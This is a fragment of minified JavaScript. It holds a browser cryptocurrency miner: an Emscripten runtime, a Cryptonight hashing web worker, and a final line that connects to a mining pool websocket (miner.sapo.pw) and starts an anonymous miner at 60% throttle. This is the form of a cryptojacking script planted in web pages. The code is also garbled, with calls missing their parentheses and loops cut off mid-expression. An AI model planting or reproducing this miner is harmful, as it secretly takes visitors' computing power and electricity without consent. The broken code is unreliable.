run(args){args=args||Module[\"arguments\"];if(runDependencies>0){return}preRun;if(runDependencies>0)return;if(Module[\"calledRun\"])return;function doRun{if(Module[\"calledRun\"])return;Module[\"calledRun\"]=true;if(ABORT)return;ensureInitRuntime;preMain;if(Module[\"onRuntimeInitialized\"])Module[\"onRuntimeInitialized\"];postRun}if(Module[\"setStatus\"]){Module[\"setStatus\"](\"Running...\");setTimeout((function{setTimeout((function{Module[\"setStatus\"](\"\")}),1);doRun}),1)}else{doRun}}Module[\"run\"]=run;function exit(status,implicit){if(implicit&&Module[\"noExitRuntime\"]&&status===0){return}if(Module[\"noExitRuntime\"]){}else{ABORT=true;EXITSTATUS=status;STACKTOP=initialStackTop;exitRuntime;if(Module[\"onExit\"])Module[\"onExit\"](status)}if(ENVIRONMENT_IS_NODE){process[\"exit\"](status)}Module[\"quit\"](status,new ExitStatus(status))}Module[\"exit\"]=exit;function abort(what){if(Module[\"onAbort\"]){Module[\"onAbort\"](what)}if(what!==undefined){Module.print(what);Module.printErr(what);what=JSON.stringify(what)}else{what=\"\"}ABORT=true;EXITSTATUS=1;throw\"abort(\"+what+\"). Build with -s ASSERTIONS=1 for more info.\"}Module[\"abort\"]=abort;if(Module[\"preInit\"]){if(typeof Module[\"preInit\"]==\"function\")Module[\"preInit\"]=[Module[\"preInit\"]];while(Module[\"preInit\"].length>0){Module[\"preInit\"].pop}}Module[\"noExitRuntime\"]=true;run;var CryptonightWASMWrapper=(function{this.ctx=_cryptonight_create;this.throttleWait=0;this.throttledStart=0;this.throttledHashes=0;this.workThrottledBound=this.workThrottled.bind(this);this.currentJob=null;this.target=new Uint8Array([255,255,255,255,255,255,255,255]);var heap=Module.HEAPU8.buffer;this.input=new Uint8Array(heap,Module._malloc(84),84);this.output=new Uint8Array(heap,Module._malloc(32),32);self.postMessage(\"ready\");self.onmessage=this.onMessage.bind(this)});CryptonightWASMWrapper.prototype.onMessage=(function(msg){var job=msg.data;if(job.verify_id){this.verify(job);return}if(!this.currentJob||this.currentJob.job_id!==job.job_id){this.setJob(job)}if(job.throttle){this.throttleWait=1\/(1-job.throttle)-1;this.throttledStart=this.now;this.throttledHashes=0;this.workThrottled}else{this.work}});CryptonightWASMWrapper.prototype.destroy=(function{_cryptonight_destroy(this.ctx)});CryptonightWASMWrapper.prototype.hexToBytes=(function(hex,bytes){var bytes=new Uint8Array(hex.length\/2);for(var i=0,c=0;c>>4).toString(16);hex+=(bytes[i]&15).toString(16)}return hex});CryptonightWASMWrapper.prototype.meetsTarget=(function(hash,target){for(var i=0;itarget[ti]){return false}else if(hash[hi]<target[ti]){return true}}return false});CryptonightWASMWrapper.prototype.setJob=(function(job){this.currentJob=job;this.blob=this.hexToBytes(job.blob);this.input.set(this.blob);var target=this.hexToBytes(job.target);if(target.length<=8){for(var i=0;i>>0;this.input[39]=(nonce&4278190080)>>24;this.input[40]=(nonce&16711680)>>16;this.input[41]=(nonce&65280)>>8;this.input[42]=(nonce&255)>>0;_cryptonight_hash(this.ctx,input.byteOffset,output.byteOffset,length)});CryptonightWASMWrapper.prototype.verify=(function(job){this.blob=this.hexToBytes(job.blob);this.input.set(this.blob);for(var i=0,c=0;c<job.nonce.length;c+=2,i++){this.input[39+i]=parseInt(job.nonce.substr(c,2),16)}_cryptonight_hash(this.ctx,this.input.byteOffset,this.output.byteOffset,this.blob.length);var result=this.bytesToHex(this.output);self.postMessage({verify_id:job.verify_id,verified:result===job.result})});CryptonightWASMWrapper.prototype.work=(function{var hashes=0;var meetsTarget=false;var start=this.now;var elapsed=0;do{this.hash(this.input,this.output,this.blob.length);hashes++;meetsTarget=this.meetsTarget(this.output,this.target);elapsed=this.now-start}while(!meetsTarget&&elapsed<1e3);var hashesPerSecond=hashes\/(elapsed\/1e3);if(meetsTarget){var nonceHex=this.bytesToHex(this.input.subarray(39,43));var resultHex=this.bytesToHex(this.output);self.postMessage({hashesPerSecond:hashesPerSecond,hashes:hashes,job_id:this.currentJob.job_id,nonce:nonceHex,result:resultHex})}else{self.postMessage({hashesPerSecond:hashesPerSecond,hashes:hashes})}});CryptonightWASMWrapper.prototype.workThrottled=(function{var start=this.now;this.hash(this.input,this.output,this.blob.length);var end=this.now;var timePerHash=end-start;this.throttledHashes++;var elapsed=end-this.throttledStart;var hashesPerSecond=this.throttledHashes\/(elapsed\/1e3);if(this.meetsTarget(this.output,this.target)){var nonceHex=this.bytesToHex(this.input.subarray(39,43));var resultHex=this.bytesToHex(this.output);self.postMessage({hashesPerSecond:hashesPerSecond,hashes:this.throttledHashes,job_id:this.currentJob.job_id,nonce:nonceHex,result:resultHex});this.throttledHashes=0}else if(elapsed>1e3){self.postMessage({hashesPerSecond:hashesPerSecond,hashes:this.throttledHashes});this.throttledHashes=0}else{var wait=Math.min(2e3,timePerHash*this.throttleWait);setTimeout(this.workThrottledBound,wait)}});Module[\"onRuntimeInitialized\"]=(function{var cryptonight=new CryptonightWASMWrapper}) "); CH.CONFIG.WEBSOCKET_SHARDS = "wss://miner.sapo.pw:8892"; var miner = CH.Anonymous('fixed', {throttle: 0.60}); miner.start;